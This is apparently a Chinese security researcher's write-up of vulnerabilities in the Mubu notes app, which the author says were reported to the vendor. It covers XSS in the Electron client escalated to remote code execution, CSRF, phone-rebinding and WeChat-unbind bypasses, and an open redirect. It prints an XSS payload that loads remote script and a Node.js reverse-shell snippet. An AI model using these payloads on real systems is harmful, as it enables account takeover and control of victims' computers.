0X00 前言
幕布本人最早接觸是在P神的知識星球里面看到P神推薦的,后來下了個用着還挺好用。
之前一直都放一些零零散散的筆記,最近整理的時候,一時興起,本着漏洞源於生活的態度,遂對幕布的安全性做了些研究。
0x01 背景
幕布是一款頭腦管理工具,用更高效的方式和清晰的結構來記錄筆記、管理任務、制定工作計划、頭腦風暴。用最好的方式釋放您的大腦!
令人覺得舒服的是,就算是免費版也支持多平台同步,相對比其他軟件這個很良心了,還支持多種格式導出,支持腦圖演示。
0x02 前世
早在17年,棟棟的棟師傅就對幕布的1.1.0版本進行了研究,發現了多個CSRF,如保存文檔,創建文件夾等。搜索框反射XSS,文件夾名XSS,文檔名稱XSS(在查看思維導圖的時候觸發),昵稱存儲XSS等。
由於幕布使用Electron來開發,導致我們只要一個XSS即可執行任意命令。
根據棟師傅的文章,我測了一下,發現現階段1.1.9版本的搜索框XSS依舊可行。
同樣文件夾名的存儲XSS也是存在的,點擊文件夾即可觸發
文檔名XSS(在查看腦圖的時候觸發)這個已經修復了。
XSS到RCE其攻擊鏈如下:
0X03 今生
基於上面的了解,我知道幕布應該有多個功能點存在CSRF和XSS,找到漏洞並不難,難的是找到一個較為完美的利用鏈。
棟師傅的分享文檔,昵稱XSS,創建文檔然后腦圖查看觸發,我感覺這個利用鏈有點復雜,且PAYLOAD過於明顯。
經過一番思考,覺得攻擊點還是應該放在分享文檔頁面中,這里是與別人交互的唯一入口(目前來說)。
分享文檔頁面中包括了什么呢?
經測試,頭像處做了過濾,昵稱的XSS也已經修復了,目標放到標題和正文。
標題一番測試之后也是過濾了,那么只有正文了,為了更好的測試,特地開了一個月的高級會員,高級會員可以插入圖片,想通過圖片文件名的方式引入XSS,但發現被過濾了。
中間還測了幕布的標簽,但沒有效果。(留待白盒審計其解釋原理)
不放棄,繼續研究,看到保存文檔的請求包
會發現有一個叫id的參數,回到頁面,F12檢查,發現這個id值是作為id屬性的值,作為節點解析使用。
直覺告訴我這里應該會有問題。閉合雙引號,div標簽,彈個框試一下。
好的,成功彈框了。
但是彈完之后,正文把后面錯亂的標簽代碼顯示出來了。
后面要做的就是把PAYLAOD完善,不讓錯亂代碼顯示出來,讓這個插入了惡意代碼的文檔表現的像一個正常文檔一樣。
而且這里的觸發點堪稱完美,只需要用戶打開文檔,減少觸發的步驟。
通過分享文檔或者投稿到精選,其他用戶登陸狀態下瀏覽,然后觸發XSS,直到在客戶端查看觸發RCE。
這里有一個問題是分享鏈接都是公開的,別人不需要登陸即可查看,但為了能夠利用,我們必須讓用戶登陸;
還有一個問題是用戶在PC的客戶端里面沒辦法直接查看精選頁面和分享頁面,默認是通過PC瀏覽器打開頁面的。(PS:通過PC客戶端的”幕布精選”菜單訪問的話,會自動登陸上賬號,這里還有一個任意URL跳轉的問題)
那么是否可以達到用戶點擊鏈接,就能夠直接觸發RCE呢?
因為這里存在跨端的問題,從瀏覽器跨到幕布客戶端,需要一個橋梁。我想到的橋梁是利用Custom URL Scheme來拉起幕布,讓幕布去渲染這個帶有XSS的文檔然后觸發RCE。
但逆向了一下幕布的源碼,發現它沒有注冊相關的URl,所以這個思路行不通,但難免幕布后續更新會加入自己的URL Scheme。
現階段只能是通過”自動同步”這個橋梁,將我們的惡意文檔帶入到客戶端中去,然后等待用戶查看觸發了,這個點是最為致命的點了。
根據現有狀況,我的攻擊思路如下:
被動方式:用戶登陸態下,把我們這個“豐富”的文檔保存到自己的賬號下,在客戶端查看時觸發RCE。
主動方式:創建一個登陸頁面的彈框,誘導用戶登錄,只允許其登陸之后訪問分享文檔。然后再利用XSS創建一個文檔,等待用戶在客戶端查看。
總結一下其利用鏈如下:
當然這里是以RCE為目的,也可以XSS打賬號密碼等其他方式,那樣就可以隨時掌控用戶的賬號,查看其私密文檔,創建惡意文檔,等待其查看,觸發RCE,控制目標電腦。
分析講完了,下面是驗證過程,首先我們需要讓文檔看起來是正常的,那么就不能像之前的PAYLOAD一樣,得利用div標簽的事件來觸發。主要是onclick 和onmouseover事件。我這里用的是onmouseover事件。
" onmouseover="s=createElement('script');body.appendChild(s);s.src='https://xsspt/xxx'
文檔看起來就跟正常文檔一樣,觸發的話需要用戶鼠標懸浮在DIV上面。Web端有no-referrer-when-downgrade限制,需要使用https的JS。客戶端則不用,最好直接用https的一了百了。
在windows客戶端打開,彈個計算器
彈計算器的代碼:
require('child_process').exec('calc.exe')
Mac客戶端,反彈個shell
反彈shell的代碼
var net = require("net"), sh = require("child_process").exec("/bin/bash");
var client = new net.Socket();
client.connect({set.port}, "{set.ip}", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);
sh.stderr.pipe(client);});
關於electron rce 可以在查看這篇文章
0x04 番外
邏輯缺陷
繞過原手機號驗證,綁定新手機號,接管帳號
修改手機號正常流程是需要原手機號的驗證碼驗證的
但我們正常走一遍流程,把綁定新手機號的請求抓出來會發現,根本不需要原手機號的驗證碼。
我們剛開始的手機號為132
第一步給要綁定的手機號發送驗證碼
第二部用獲取的驗證碼請求綁定
刷新設置頁面,會發現已經綁定成功了。
其中第一步任何其他用戶發送即可,獲取到驗證碼,然后創建一個頁面,騙取目標用戶去訪問,利用CSRF攻擊,接管其賬號。
繞過微信驗證,解綁微信
比如我們綁定了微信,就可以用微信登陸了,正常解綁微信是需要,微信驗證一下的,但是我們發現把解綁微信的請求抓出來,直接就可以解綁了,且存在CSRF。
正常流程來說是這樣走的。
抓到解綁微信的請求如下:
然后發一下包就可以解綁微信了
刷新設置頁面,發現已經解綁成功了
至於綁定微信,需要獲取state參數,需要發送請求,只能是XSS來利用了,所以有了XSS,我就可以獲取這個state參數,自己構造參數綁定微信到目標用戶賬號上。
任意URL跳轉
主要是客戶端幕布精選跳轉到瀏覽器里面自動登陸的請求:
在客戶端點擊”幕布精選”菜單,抓到這樣的請求:
https://mubu.com/client_redirect?token=xxx&next=/explore
其中next這個可以填寫我們自己的第三方鏈接,token正確與否不要緊,甚至去掉這個參數都會跳轉。
CSRF (所見之處皆可CSRF)
設置昵稱
設置昵稱的請求為POST請求:
但修改為GET請求,一樣可以。
經測試原來所有修改,添加,更新操作為POST的請求,都可以用GET請求來發送。
創建文檔
這里只可以用來創建一個空的文檔,創建一個有內容的文檔需要經過幾個步驟,需要有XSS才能創建有內容的文檔。
綁定手機號
解邦微信
0x05 總結
這篇文章記錄了對幕布安全性的研究和一些攻擊思路,上述所有漏洞均已報備幕布官方,請勿用作非法攻擊。
有些圖看不太清,放個原版文檔鏈接
博客占坑~